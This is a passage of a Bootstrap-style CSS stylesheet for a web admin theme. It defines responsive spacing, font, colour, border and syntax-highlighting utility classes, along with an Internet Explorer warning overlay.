space-between !important; } .align-content-xxl-around { align-content: space-around !important; } .align-content-xxl-stretch { align-content: stretch !important; } .align-self-xxl-auto { align-self: auto !important; } .align-self-xxl-start { align-self: flex-start !important; } .align-self-xxl-end { align-self: flex-end !important; } .align-self-xxl-center { align-self: center !important; } .align-self-xxl-baseline { align-self: baseline !important; } .align-self-xxl-stretch { align-self: stretch !important; } .order-xxl-first { order: -1 !important; } .order-xxl-0 { order: 0 !important; } .order-xxl-1 { order: 1 !important; } .order-xxl-2 { order: 2 !important; } .order-xxl-3 { order: 3 !important; } .order-xxl-4 { order: 4 !important; } .order-xxl-5 { order: 5 !important; } .order-xxl-last { order: 6 !important; } .m-xxl-0 { margin: 0 !important; } .m-xxl-1 { margin: 0.25rem !important; } .m-xxl-2 { margin: 0.5rem !important; } .m-xxl-3 { margin: 1rem !important; } .m-xxl-4 { margin: 1.5rem !important; } .m-xxl-5 { margin: 3rem !important; } .m-xxl-auto { margin: auto !important; } .mx-xxl-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-xxl-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-xxl-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-xxl-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-xxl-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-xxl-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-xxl-auto { margin-right: auto !important; margin-left: auto !important; } .my-xxl-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-xxl-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-xxl-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-xxl-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-xxl-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-xxl-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-xxl-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-xxl-0 { margin-top: 0 !important; } .mt-xxl-1 { margin-top: 0.25rem !important; } .mt-xxl-2 { margin-top: 0.5rem !important; } .mt-xxl-3 { margin-top: 1rem !important; } .mt-xxl-4 { margin-top: 1.5rem !important; } .mt-xxl-5 { margin-top: 3rem !important; } .mt-xxl-auto { margin-top: auto !important; } .me-xxl-0 { margin-right: 0 !important; } .me-xxl-1 { margin-right: 0.25rem !important; } .me-xxl-2 { margin-right: 0.5rem !important; } .me-xxl-3 { margin-right: 1rem !important; } .me-xxl-4 { margin-right: 1.5rem !important; } .me-xxl-5 { margin-right: 3rem !important; } .me-xxl-auto { margin-right: auto !important; } .mb-xxl-0 { margin-bottom: 0 !important; } .mb-xxl-1 { margin-bottom: 0.25rem !important; } .mb-xxl-2 { margin-bottom: 0.5rem !important; } .mb-xxl-3 { margin-bottom: 1rem !important; } .mb-xxl-4 { margin-bottom: 1.5rem !important; } .mb-xxl-5 { margin-bottom: 3rem !important; } .mb-xxl-auto { margin-bottom: auto !important; } .ms-xxl-0 { margin-left: 0 !important; } .ms-xxl-1 { margin-left: 0.25rem !important; } .ms-xxl-2 { margin-left: 0.5rem !important; } .ms-xxl-3 { margin-left: 1rem !important; } .ms-xxl-4 { margin-left: 1.5rem !important; } .ms-xxl-5 { margin-left: 3rem !important; } .ms-xxl-auto { margin-left: auto !important; } .m-xxl-n1 { margin: -0.25rem !important; } .m-xxl-n2 { margin: -0.5rem !important; } .m-xxl-n3 { margin: -1rem !important; } .m-xxl-n4 { margin: -1.5rem !important; } .m-xxl-n5 { margin: -3rem !important; } .mx-xxl-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-xxl-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-xxl-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-xxl-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-xxl-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-xxl-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-xxl-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-xxl-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-xxl-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-xxl-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-xxl-n1 { margin-top: -0.25rem !important; } .mt-xxl-n2 { margin-top: -0.5rem !important; } .mt-xxl-n3 { margin-top: -1rem !important; } .mt-xxl-n4 { margin-top: -1.5rem !important; } .mt-xxl-n5 { margin-top: -3rem !important; } .me-xxl-n1 { margin-right: -0.25rem !important; } .me-xxl-n2 { margin-right: -0.5rem !important; } .me-xxl-n3 { margin-right: -1rem !important; } .me-xxl-n4 { margin-right: -1.5rem !important; } .me-xxl-n5 { margin-right: -3rem !important; } .mb-xxl-n1 { margin-bottom: -0.25rem !important; } .mb-xxl-n2 { margin-bottom: -0.5rem !important; } .mb-xxl-n3 { margin-bottom: -1rem !important; } .mb-xxl-n4 { margin-bottom: -1.5rem !important; } .mb-xxl-n5 { margin-bottom: -3rem !important; } .ms-xxl-n1 { margin-left: -0.25rem !important; } .ms-xxl-n2 { margin-left: -0.5rem !important; } .ms-xxl-n3 { margin-left: -1rem !important; } .ms-xxl-n4 { margin-left: -1.5rem !important; } .ms-xxl-n5 { margin-left: -3rem !important; } .p-xxl-0 { padding: 0 !important; } .p-xxl-1 { padding: 0.25rem !important; } .p-xxl-2 { padding: 0.5rem !important; } .p-xxl-3 { padding: 1rem !important; } .p-xxl-4 { padding: 1.5rem !important; } .p-xxl-5 { padding: 3rem !important; } .px-xxl-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-xxl-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-xxl-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-xxl-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-xxl-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-xxl-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-xxl-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-xxl-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-xxl-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-xxl-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-xxl-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-xxl-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-xxl-0 { padding-top: 0 !important; } .pt-xxl-1 { padding-top: 0.25rem !important; } .pt-xxl-2 { padding-top: 0.5rem !important; } .pt-xxl-3 { padding-top: 1rem !important; } .pt-xxl-4 { padding-top: 1.5rem !important; } .pt-xxl-5 { padding-top: 3rem !important; } .pe-xxl-0 { padding-right: 0 !important; } .pe-xxl-1 { padding-right: 0.25rem !important; } .pe-xxl-2 { padding-right: 0.5rem !important; } .pe-xxl-3 { padding-right: 1rem !important; } .pe-xxl-4 { padding-right: 1.5rem !important; } .pe-xxl-5 { padding-right: 3rem !important; } .pb-xxl-0 { padding-bottom: 0 !important; } .pb-xxl-1 { padding-bottom: 0.25rem !important; } .pb-xxl-2 { padding-bottom: 0.5rem !important; } .pb-xxl-3 { padding-bottom: 1rem !important; } .pb-xxl-4 { padding-bottom: 1.5rem !important; } .pb-xxl-5 { padding-bottom: 3rem !important; } .ps-xxl-0 { padding-left: 0 !important; } .ps-xxl-1 { padding-left: 0.25rem !important; } .ps-xxl-2 { padding-left: 0.5rem !important; } .ps-xxl-3 { padding-left: 1rem !important; } .ps-xxl-4 { padding-left: 1.5rem !important; } .ps-xxl-5 { padding-left: 3rem !important; } .gap-xxl-0 { gap: 0 !important; } .gap-xxl-1 { gap: 0.25rem !important; } .gap-xxl-2 { gap: 0.5rem !important; } .gap-xxl-3 { gap: 1rem !important; } .gap-xxl-4 { gap: 1.5rem !important; } .gap-xxl-5 { gap: 3rem !important; } .text-xxl-start { text-align: left !important; } .text-xxl-end { text-align: right !important; } .text-xxl-center { text-align: center !important; } } @media (min-width: 1200px) { .fs-1 { font-size: 2.25rem !important; } .fs-2 { font-size: 1.75rem !important; } .fs-3 { font-size: 1.5rem !important; } } @media print { .d-print-inline { display: inline !important; } .d-print-inline-block { display: inline-block !important; } .d-print-block { display: block !important; } .d-print-grid { display: grid !important; } .d-print-table { display: table !important; } .d-print-table-row { display: table-row !important; } .d-print-table-cell { display: table-cell !important; } .d-print-flex { display: flex !important; } .d-print-inline-flex { display: inline-flex !important; } .d-print-none { display: none !important; } } /** ===================== Generic-class css start ========================== **/ /*====== Padding , Margin css starts ======*/ .p-0 { padding: 0px; } .p-t-0 { padding-top: 0px; } .p-b-0 { padding-bottom: 0px; } .p-l-0 { padding-left: 0px; } .p-r-0 { padding-right: 0px; } .m-0 { margin: 0px; } .m-t-0 { margin-top: 0px; } .m-b-0 { margin-bottom: 0px; } .m-l-0 { margin-left: 0px; } .m-r-0 { margin-right: 0px; } .p-5 { padding: 5px; } .p-t-5 { padding-top: 5px; } .p-b-5 { padding-bottom: 5px; } .p-l-5 { padding-left: 5px; } .p-r-5 { padding-right: 5px; } .m-5 { margin: 5px; } .m-t-5 { margin-top: 5px; } .m-b-5 { margin-bottom: 5px; } .m-l-5 { margin-left: 5px; } .m-r-5 { margin-right: 5px; } .p-10 { padding: 10px; } .p-t-10 { padding-top: 10px; } .p-b-10 { padding-bottom: 10px; } .p-l-10 { padding-left: 10px; } .p-r-10 { padding-right: 10px; } .m-10 { margin: 10px; } .m-t-10 { margin-top: 10px; } .m-b-10 { margin-bottom: 10px; } .m-l-10 { margin-left: 10px; } .m-r-10 { margin-right: 10px; } .p-15 { padding: 15px; } .p-t-15 { padding-top: 15px; } .p-b-15 { padding-bottom: 15px; } .p-l-15 { padding-left: 15px; } .p-r-15 { padding-right: 15px; } .m-15 { margin: 15px; } .m-t-15 { margin-top: 15px; } .m-b-15 { margin-bottom: 15px; } .m-l-15 { margin-left: 15px; } .m-r-15 { margin-right: 15px; } .p-20 { padding: 20px; } .p-t-20 { padding-top: 20px; } .p-b-20 { padding-bottom: 20px; } .p-l-20 { padding-left: 20px; } .p-r-20 { padding-right: 20px; } .m-20 { margin: 20px; } .m-t-20 { margin-top: 20px; } .m-b-20 { margin-bottom: 20px; } .m-l-20 { margin-left: 20px; } .m-r-20 { margin-right: 20px; } .p-25 { padding: 25px; } .p-t-25 { padding-top: 25px; } .p-b-25 { padding-bottom: 25px; } .p-l-25 { padding-left: 25px; } .p-r-25 { padding-right: 25px; } .m-25 { margin: 25px; } .m-t-25 { margin-top: 25px; } .m-b-25 { margin-bottom: 25px; } .m-l-25 { margin-left: 25px; } .m-r-25 { margin-right: 25px; } .p-30 { padding: 30px; } .p-t-30 { padding-top: 30px; } .p-b-30 { padding-bottom: 30px; } .p-l-30 { padding-left: 30px; } .p-r-30 { padding-right: 30px; } .m-30 { margin: 30px; } .m-t-30 { margin-top: 30px; } .m-b-30 { margin-bottom: 30px; } .m-l-30 { margin-left: 30px; } .m-r-30 { margin-right: 30px; } .p-35 { padding: 35px; } .p-t-35 { padding-top: 35px; } .p-b-35 { padding-bottom: 35px; } .p-l-35 { padding-left: 35px; } .p-r-35 { padding-right: 35px; } .m-35 { margin: 35px; } .m-t-35 { margin-top: 35px; } .m-b-35 { margin-bottom: 35px; } .m-l-35 { margin-left: 35px; } .m-r-35 { margin-right: 35px; } .p-40 { padding: 40px; } .p-t-40 { padding-top: 40px; } .p-b-40 { padding-bottom: 40px; } .p-l-40 { padding-left: 40px; } .p-r-40 { padding-right: 40px; } .m-40 { margin: 40px; } .m-t-40 { margin-top: 40px; } .m-b-40 { margin-bottom: 40px; } .m-l-40 { margin-left: 40px; } .m-r-40 { margin-right: 40px; } .p-45 { padding: 45px; } .p-t-45 { padding-top: 45px; } .p-b-45 { padding-bottom: 45px; } .p-l-45 { padding-left: 45px; } .p-r-45 { padding-right: 45px; } .m-45 { margin: 45px; } .m-t-45 { margin-top: 45px; } .m-b-45 { margin-bottom: 45px; } .m-l-45 { margin-left: 45px; } .m-r-45 { margin-right: 45px; } .p-50 { padding: 50px; } .p-t-50 { padding-top: 50px; } .p-b-50 { padding-bottom: 50px; } .p-l-50 { padding-left: 50px; } .p-r-50 { padding-right: 50px; } .m-50 { margin: 50px; } .m-t-50 { margin-top: 50px; } .m-b-50 { margin-bottom: 50px; } .m-l-50 { margin-left: 50px; } .m-r-50 { margin-right: 50px; } /*====== Padding , Margin css ends ======*/ /*====== Font-size css starts ======*/ .f-10 { font-size: 10px; } .f-12 { font-size: 12px; } .f-14 { font-size: 14px; } .f-16 { font-size: 16px; } .f-18 { font-size: 18px; } .f-20 { font-size: 20px; } .f-22 { font-size: 22px; } .f-24 { font-size: 24px; } .f-26 { font-size: 26px; } .f-28 { font-size: 28px; } .f-30 { font-size: 30px; } .f-32 { font-size: 32px; } .f-34 { font-size: 34px; } .f-36 { font-size: 36px; } .f-38 { font-size: 38px; } .f-40 { font-size: 40px; } .f-42 { font-size: 42px; } .f-44 { font-size: 44px; } .f-46 { font-size: 46px; } .f-48 { font-size: 48px; } .f-50 { font-size: 50px; } .f-52 { font-size: 52px; } .f-54 { font-size: 54px; } .f-56 { font-size: 56px; } .f-58 { font-size: 58px; } .f-60 { font-size: 60px; } .f-62 { font-size: 62px; } .f-64 { font-size: 64px; } .f-66 { font-size: 66px; } .f-68 { font-size: 68px; } .f-70 { font-size: 70px; } .f-72 { font-size: 72px; } .f-74 { font-size: 74px; } .f-76 { font-size: 76px; } .f-78 { font-size: 78px; } .f-80 { font-size: 80px; } /*====== Font-size css ends ======*/ /*====== Font-weight css starts ======*/ .f-w-100 { font-weight: 100; } .f-w-200 { font-weight: 200; } .f-w-300 { font-weight: 300; } .f-w-400 { font-weight: 400; } .f-w-500 { font-weight: 500; } .f-w-600 { font-weight: 600; } .f-w-700 { font-weight: 700; } .f-w-800 { font-weight: 800; } .f-w-900 { font-weight: 900; } /*====== Font-weight css ends ======*/ /*====== width, Height css starts ======*/ .wid-10 { width: 10px; } .hei-10 { height: 10px; } .wid-15 { width: 15px; } .hei-15 { height: 15px; } .wid-20 { width: 20px; } .hei-20 { height: 20px; } .wid-25 { width: 25px; } .hei-25 { height: 25px; } .wid-30 { width: 30px; } .hei-30 { height: 30px; } .wid-35 { width: 35px; } .hei-35 { height: 35px; } .wid-40 { width: 40px; } .hei-40 { height: 40px; } .wid-45 { width: 45px; } .hei-45 { height: 45px; } .wid-50 { width: 50px; } .hei-50 { height: 50px; } .wid-55 { width: 55px; } .hei-55 { height: 55px; } .wid-60 { width: 60px; } .hei-60 { height: 60px; } .wid-65 { width: 65px; } .hei-65 { height: 65px; } .wid-70 { width: 70px; } .hei-70 { height: 70px; } .wid-75 { width: 75px; } .hei-75 { height: 75px; } .wid-80 { width: 80px; } .hei-80 { height: 80px; } .wid-85 { width: 85px; } .hei-85 { height: 85px; } .wid-90 { width: 90px; } .hei-90 { height: 90px; } .wid-95 { width: 95px; } .hei-95 { height: 95px; } .wid-100 { width: 100px; } .hei-100 { height: 100px; } .wid-105 { width: 105px; } .hei-105 { height: 105px; } .wid-110 { width: 110px; } .hei-110 { height: 110px; } .wid-115 { width: 115px; } .hei-115 { height: 115px; } .wid-120 { width: 120px; } .hei-120 { height: 120px; } .wid-125 { width: 125px; } .hei-125 { height: 125px; } .wid-130 { width: 130px; } .hei-130 { height: 130px; } .wid-135 { width: 135px; } .hei-135 { height: 135px; } .wid-140 { width: 140px; } .hei-140 { height: 140px; } .wid-145 { width: 145px; } .hei-145 { height: 145px; } .wid-150 { width: 150px; } .hei-150 { height: 150px; } /*====== width, Height css ends ======*/ /*====== border-width css starts ======*/ .b-wid-1 { border-width: 1px; } .b-wid-2 { border-width: 2px; } .b-wid-3 { border-width: 3px; } .b-wid-4 { border-width: 4px; } .b-wid-5 { border-width: 5px; } .b-wid-6 { border-width: 6px; } .b-wid-7 { border-width: 7px; } .b-wid-8 { border-width: 8px; } /*====== border-width css ends ======*/ /*====== background starts ======*/ .bg-body { background: #f8f9fd !important; } .bg-light-primary { background: #dcdaeb; color: #51459d; } .text-light-primary { color: #dcdaeb; } .icon-svg-primary { fill: #dcdaeb; stroke: #51459d; } .material-icons-two-tone.text-primary { background-color: #51459d; } .text-hover-primary:hover { color: #51459d !important; } .bg-light-secondary { background: #e2e3e5; color: #6c757d; } .text-light-secondary { color: #e2e3e5; } .icon-svg-secondary { fill: #e2e3e5; stroke: #6c757d; } .material-icons-two-tone.text-secondary { background-color: #6c757d; } .text-hover-secondary:hover { color: #6c757d !important; } .bg-light-success { background: #e2f7d9; color: #6fd943; } .text-light-success { color: #e2f7d9; } .icon-svg-success { fill: #e2f7d9; stroke: #6fd943; } .material-icons-two-tone.text-success { background-color: #6fd943; } .text-hover-success:hover { color: #6fd943 !important; } .bg-light-info { background: #d8f4f7; color: #3ec9d6; } .text-light-info { color: #d8f4f7; } .icon-svg-info { fill: #d8f4f7; stroke: #3ec9d6; } .material-icons-two-tone.text-info { background-color: #3ec9d6; } .text-hover-info:hover { color: #3ec9d6 !important; } .bg-light-warning { background: #ffecd2; color: #ffa21d; } .text-light-warning { color: #ffecd2; } .icon-svg-warning { fill: #ffecd2; stroke: #ffa21d; } .material-icons-two-tone.text-warning { background-color: #ffa21d; } .text-hover-warning:hover { color: #ffa21d !important; } .bg-light-danger { background: #ffd8e2; color: #ff3a6e; } .text-light-danger { color: #ffd8e2; } .icon-svg-danger { fill: #ffd8e2; stroke: #ff3a6e; } .material-icons-two-tone.text-danger { background-color: #ff3a6e; } .text-hover-danger:hover { color: #ff3a6e !important; } .bg-light-light { background: #fefefe; color: #f8f9fa; } .text-light-light { color: #fefefe; } .icon-svg-light { fill: #fefefe; stroke: #f8f9fa; } .material-icons-two-tone.text-light { background-color: #f8f9fa; } .text-hover-light:hover { color: #f8f9fa !important; } .bg-light-dark { background: #d2d3d5; color: #1c232f; } .text-light-dark { color: #d2d3d5; } .icon-svg-dark { fill: #d2d3d5; stroke: #1c232f; } .material-icons-two-tone.text-dark { background-color: #1c232f; } .text-hover-dark:hover { color: #1c232f !important; } /*====== background ends ======*/ /*====== border color css starts ======*/ .b-primary { border: 1px solid #51459d; } .border-bottom-primary td { border-bottom: 1px solid #51459d; } .border-bottom-primary th { border-bottom: 1px solid #51459d !important; } .fill-primary { fill: #51459d; } .b-secondary { border: 1px solid #6c757d; } .border-bottom-secondary td { border-bottom: 1px solid #6c757d; } .border-bottom-secondary th { border-bottom: 1px solid #6c757d !important; } .fill-secondary { fill: #6c757d; } .b-success { border: 1px solid #6fd943; } .border-bottom-success td { border-bottom: 1px solid #6fd943; } .border-bottom-success th { border-bottom: 1px solid #6fd943 !important; } .fill-success { fill: #6fd943; } .b-info { border: 1px solid #3ec9d6; } .border-bottom-info td { border-bottom: 1px solid #3ec9d6; } .border-bottom-info th { border-bottom: 1px solid #3ec9d6 !important; } .fill-info { fill: #3ec9d6; } .b-warning { border: 1px solid #ffa21d; } .border-bottom-warning td { border-bottom: 1px solid #ffa21d; } .border-bottom-warning th { border-bottom: 1px solid #ffa21d !important; } .fill-warning { fill: #ffa21d; } .b-danger { border: 1px solid #ff3a6e; } .border-bottom-danger td { border-bottom: 1px solid #ff3a6e; } .border-bottom-danger th { border-bottom: 1px solid #ff3a6e !important; } .fill-danger { fill: #ff3a6e; } .b-light { border: 1px solid #f8f9fa; } .border-bottom-light td { border-bottom: 1px solid #f8f9fa; } .border-bottom-light th { border-bottom: 1px solid #f8f9fa !important; } .fill-light { fill: #f8f9fa; } .b-dark { border: 1px solid #1c232f; } .border-bottom-dark td { border-bottom: 1px solid #1c232f; } .border-bottom-dark th { border-bottom: 1px solid #1c232f !important; } .fill-dark { fill: #1c232f; } /*====== border color css ends ======*/ /*====== text-color, background color css starts ======*/ .bg-facebook { background: #3C5A99; } .text-facebook { color: #3C5A99; } .bg-twitter { background: #42C0FB; } .text-twitter { color: #42C0FB; } .bg-dribbble { background: #EC4A89; } .text-dribbble { color: #EC4A89; } .bg-pinterest { background: #BF2131; } .text-pinterest { color: #BF2131; } .bg-youtube { background: #E0291D; } .text-youtube { color: #E0291D; } .bg-googleplus { background: #C73E2E; } .text-googleplus { color: #C73E2E; } .bg-instagram { background: #AA7C62; } .text-instagram { color: #AA7C62; } .bg-viber { background: #7B519D; } .text-viber { color: #7B519D; } .bg-behance { background: #0057ff; } .text-behance { color: #0057ff; } .bg-dropbox { background: #3380FF; } .text-dropbox { color: #3380FF; } .bg-linkedin { background: #0077B5; } .text-linkedin { color: #0077B5; } .bg-amazon { background: #000; } .text-amazon { color: #000; } /*====== text-color css ends ======*/ .font-hairline { font-weight: 100 !important; } .font-thin { font-weight: 200 !important; } .font-light { font-weight: 300 !important; } .font-normal { font-weight: 400 !important; } .font-medium { font-weight: 500 !important; } .font-semibold { font-weight: 600 !important; } .font-bold { font-weight: 700 !important; } .font-extrabold { font-weight: 800 !important; } .font-black { font-weight: 900 !important; } .text-xs { font-size: 0.625rem !important; } .text-sm { font-size: 0.75rem !important; } .text-md { font-size: 0.8125rem !important; } .text-base { font-size: 0.875rem !important; } .text-lg { font-size: 1rem !important; } .text-xl { font-size: 1.125rem !important; } .text-2xl { font-size: 1.25rem !important; } .text-3xl { font-size: 1.5rem !important; } .text-4xl { font-size: 2rem !important; } .text-5xl { font-size: 2.25rem !important; } .text-6xl { font-size: 2.5rem !important; } .text-7xl { font-size: 3rem !important; } .text-8xl { font-size: 4rem !important; } .text-9xl { font-size: 6rem !important; } .text-10xl { font-size: 8rem !important; } .uppercase { text-transform: uppercase !important; } .lowercase { text-transform: lowercase !important; } .capitalize { text-transform: capitalize !important; } .normal-case { text-transform: none !important; } /*====== more bootstrap colors start ======*/ .bg-blue-100 { color: #212529; background: #dcdaeb; } .bg-blue-200 { color: #ffffff; background: #b9b5d8; } .bg-blue-300 { color: #ffffff; background: #978fc4; } .bg-blue-400 { color: #ffffff; background: #746ab1; } .bg-blue-500 { color: #ffffff; background: #51459d; } .bg-blue-600 { color: #ffffff; background: #41377e; } .bg-blue-700 { color: #ffffff; background: #31295e; } .bg-blue-800 { color: #ffffff; background: #201c3f; } .bg-blue-900 { color: #ffffff; background: #100e1f; } .bg-indigo-100 { color: #212529; background: #e0cffc; } .bg-indigo-200 { color: #ffffff; background: #c29ffa; } .bg-indigo-300 { color: #ffffff; background: #a370f7; } .bg-indigo-400 { color: #ffffff; background: #8540f5; } .bg-indigo-500 { color: #ffffff; background: #6610f2; } .bg-indigo-600 { color: #ffffff; background: #520dc2; } .bg-indigo-700 { color: #ffffff; background: #3d0a91; } .bg-indigo-800 { color: #ffffff; background: #290661; } .bg-indigo-900 { color: #ffffff; background: #140330; } .bg-purple-100 { color: #212529; background: #e2d9f3; } .bg-purple-200 { color: #ffffff; background: #c5b3e6; } .bg-purple-300 { color: #ffffff; background: #a98eda; } .bg-purple-400 { color: #ffffff; background: #8c68cd; } .bg-purple-500 { color: #ffffff; background: #6f42c1; } .bg-purple-600 { color: #ffffff; background: #59359a; } .bg-purple-700 { color: #ffffff; background: #432874; } .bg-purple-800 { color: #ffffff; background: #2c1a4d; } .bg-purple-900 { color: #ffffff; background: #160d27; } .bg-pink-100 { color: #212529; background: #fad8e8; } .bg-pink-200 { color: #ffffff; background: #f6b2d1; } .bg-pink-300 { color: #ffffff; background: #f18bba; } .bg-pink-400 { color: #ffffff; background: #ed65a3; } .bg-pink-500 { color: #ffffff; background: #e83e8c; } .bg-pink-600 { color: #ffffff; background: #ba3270; } .bg-pink-700 { color: #ffffff; background: #8b2554; } .bg-pink-800 { color: #ffffff; background: #5d1938; } .bg-pink-900 { color: #ffffff; background: #2e0c1c; } .bg-red-100 { color: #212529; background: #ffd8e2; } .bg-red-200 { color: #ffffff; background: #ffb0c5; } .bg-red-300 { color: #ffffff; background: #ff89a8; } .bg-red-400 { color: #ffffff; background: #ff618b; } .bg-red-500 { color: #ffffff; background: #ff3a6e; } .bg-red-600 { color: #ffffff; background: #cc2e58; } .bg-red-700 { color: #ffffff; background: #992342; } .bg-red-800 { color: #ffffff; background: #66172c; } .bg-red-900 { color: #ffffff; background: #330c16; } .bg-orange-100 { color: #212529; background: #ffe5d0; } .bg-orange-200 { color: #212529; background: #fecba1; } .bg-orange-300 { color: #ffffff; background: #feb272; } .bg-orange-400 { color: #ffffff; background: #fd9843; } .bg-orange-500 { color: #ffffff; background: #fd7e14; } .bg-orange-600 { color: #ffffff; background: #ca6510; } .bg-orange-700 { color: #ffffff; background: #984c0c; } .bg-orange-800 { color: #ffffff; background: #653208; } .bg-orange-900 { color: #ffffff; background: #331904; } .bg-yellow-100 { color: #212529; background: #ffecd2; } .bg-yellow-200 { color: #212529; background: #ffdaa5; } .bg-yellow-300 { color: #212529; background: #ffc777; } .bg-yellow-400 { color: #ffffff; background: #ffb54a; } .bg-yellow-500 { color: #ffffff; background: #ffa21d; } .bg-yellow-600 { color: #ffffff; background: #cc8217; } .bg-yellow-700 { color: #ffffff; background: #996111; } .bg-yellow-800 { color: #ffffff; background: #66410c; } .bg-yellow-900 { color: #ffffff; background: #332006; } .bg-green-100 { color: #212529; background: #e2f7d9; } .bg-green-200 { color: #212529; background: #c5f0b4; } .bg-green-300 { color: #212529; background: #a9e88e; } .bg-green-400 { color: #ffffff; background: #8ce169; } .bg-green-500 { color: #ffffff; background: #6fd943; } .bg-green-600 { color: #ffffff; background: #59ae36; } .bg-green-700 { color: #ffffff; background: #438228; } .bg-green-800 { color: #ffffff; background: #2c571b; } .bg-green-900 { color: #ffffff; background: #162b0d; } .bg-teal-100 { color: #212529; background: #d2f4ea; } .bg-teal-200 { color: #212529; background: #a6e9d5; } .bg-teal-300 { color: #ffffff; background: #79dfc1; } .bg-teal-400 { color: #ffffff; background: #4dd4ac; } .bg-teal-500 { color: #ffffff; background: #20c997; } .bg-teal-600 { color: #ffffff; background: #1aa179; } .bg-teal-700 { color: #ffffff; background: #13795b; } .bg-teal-800 { color: #ffffff; background: #0d503c; } .bg-teal-900 { color: #ffffff; background: #06281e; } .bg-cyan-100 { color: #212529; background: #d8f4f7; } .bg-cyan-200 { color: #212529; background: #b2e9ef; } .bg-cyan-300 { color: #212529; background: #8bdfe6; } .bg-cyan-400 { color: #ffffff; background: #65d4de; } .bg-cyan-500 { color: #ffffff; background: #3ec9d6; } .bg-cyan-600 { color: #ffffff; background: #32a1ab; } .bg-cyan-700 { color: #ffffff; background: #257980; } .bg-cyan-800 { color: #ffffff; background: #195056; } .bg-cyan-900 { color: #ffffff; background: #0c282b; } .bg-gray-100 { color: #212529; background: #f8f9fa; } .bg-gray-200 { color: #212529; background: #e9ecef; } .bg-gray-300 { color: #212529; background: #dee2e6; } .bg-gray-400 { color: #212529; background: #ced4da; } .bg-gray-500 { color: #ffffff; background: #adb5bd; } .bg-gray-600 { color: #ffffff; background: #6c757d; } .bg-gray-700 { color: #ffffff; background: #495057; } .bg-gray-800 { color: #ffffff; background: #343a40; } .bg-gray-900 { color: #ffffff; background: #212529; } /*====== more bootstrap colors end ======*/ /** ===================== Custom css start ========================== **/ body { min-height: 100vh; overflow-x: hidden; } *:focus { outline: none; } a:hover { outline: none; text-decoration: none; } a:not([href]) { color: inherit; } p { font-size: 14px; } b, strong { font-weight: 600; } .ie-warning { position: fixed; top: 0; left: 0; z-index: 999999; background: #000000; width: 100%; height: 100%; text-align: center; color: #fff; font-family: "Courier New", Courier, monospace; padding: 50px 0; } .ie-warning p { font-size: 17px; } .ie-warning h1, .ie-warning .h1 { color: #fff; } .ie-warning .iew-container { min-width: 1024px; width: 100%; height: 200px; background: #fff; margin: 50px 0; } .ie-warning .iew-download { list-style: none; padding: 30px 0; margin: 0 auto; width: 720px; } .ie-warning .iew-download > li { float: left; vertical-align: top; } .ie-warning .iew-download > li > a { display: block; color: #000; width: 140px; font-size: 15px; padding: 15px 0; } .ie-warning .iew-download > li > a > div { margin-top: 10px; } .ie-warning .iew-download > li > a:hover { background-color: #eee; } .btn-page .btn-group .btn { margin-right: 0; margin-bottom: 0; } .btn-page .btn { margin-right: 5px; margin-bottom: 5px; } .material-icons-two-tone { background-color: #293240; -webkit-background-clip: text; -webkit-text-fill-color: transparent; vertical-align: text-bottom; } .material-icons-two-tone.text-white { background-color: #fff; } .hljs { display: block; overflow-x: auto; padding: 0.5em; color: #abb2bf; background: #282c34; } .hljs-comment, .hljs-quote { color: #5c6370; font-style: italic; } .hljs-doctag, .hljs-formula, .hljs-keyword { color: #c678dd; } .hljs-deletion, .hljs-name, .hljs-section, .hljs-selector-tag, .hljs-subst { color: #e06c75; } .hljs-literal { color: #56b6c2; } .hljs-addition, .hljs-attribute, .hljs-meta-string, .hljs-regexp, .hljs-string { color: #98c379; } .hljs-built_in, .hljs-class .hljs-title { color: #e6c07b; } .hljs-attr, .hljs-number, .hljs-selector-attr, .hljs-selector-class, .hljs-selector-pseudo, .hljs-template-variable, .hljs-type, .hljs-variable { color: #d19a66; } .hljs-bullet, .hljs-link, .hljs-meta, .hljs-selector-id, .hljs-symbol, .hljs-title { color: #61aeee; } .hljs-emphasis { font-style: italic; } .hljs-strong { font-weight: bold; } .hljs-link { text-decoration: underline; } /* ======================================================== =============== document ====================== ======================================================== Grid examples */ .bd-example-row { background: #f8f9fd; padding: 15px; margin-bottom: 15px; } .bd-example-row .row > [class^="col-"], .bd-example-row .row > .col { padding-top: 0.75rem; padding-bottom: 0.75rem; background-color: rgba(86, 61, 124, 0.15); border: 1px solid rgba(86, 61, 124, 0.2); } .bd-example-row .row + .row { margin-top: 1rem; } 